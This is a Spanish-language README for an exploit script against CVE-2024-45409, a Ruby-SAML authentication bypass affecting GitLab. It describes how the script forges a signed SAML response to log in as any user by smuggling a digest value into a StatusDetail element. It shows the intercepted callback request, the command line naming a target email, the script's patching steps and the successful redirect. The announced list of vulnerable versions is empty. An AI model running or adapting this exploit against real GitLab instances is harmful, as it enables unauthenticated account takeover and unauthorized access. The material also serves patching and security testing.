
Exploit de bypass de autenticación de Ruby-SAML / GitLab (CVE-2024-45409)
Este script explota la CVE-2024-45409 que permite a un atacante no autenticado con acceso a cualquier documento SAML firmado emitido por el IDP forjar una Respuesta/Aserción SAML y obtener acceso como cualquier usuario en GitLab.
Todas las siguientes versiones de GitLab (CE/EE) son vulnerables:
Este exploit inyecta el DigestValue de la aserción modificada en el elemento StatusDetail, permitiendo contrabandear el selector XPath que usará este valor en lugar del que está en el bloque SignedInfo.
apt install python3-lxml
Intercepta primero la URL y la respuesta SAML del IDP codificada en Base64, luego modifica el contenido XML usando el script.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
Después, reemplaza el valor del parámetro SAMLResponse con la salida del script. Si la autenticación es exitosa, serás redirigido a la página principal de GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>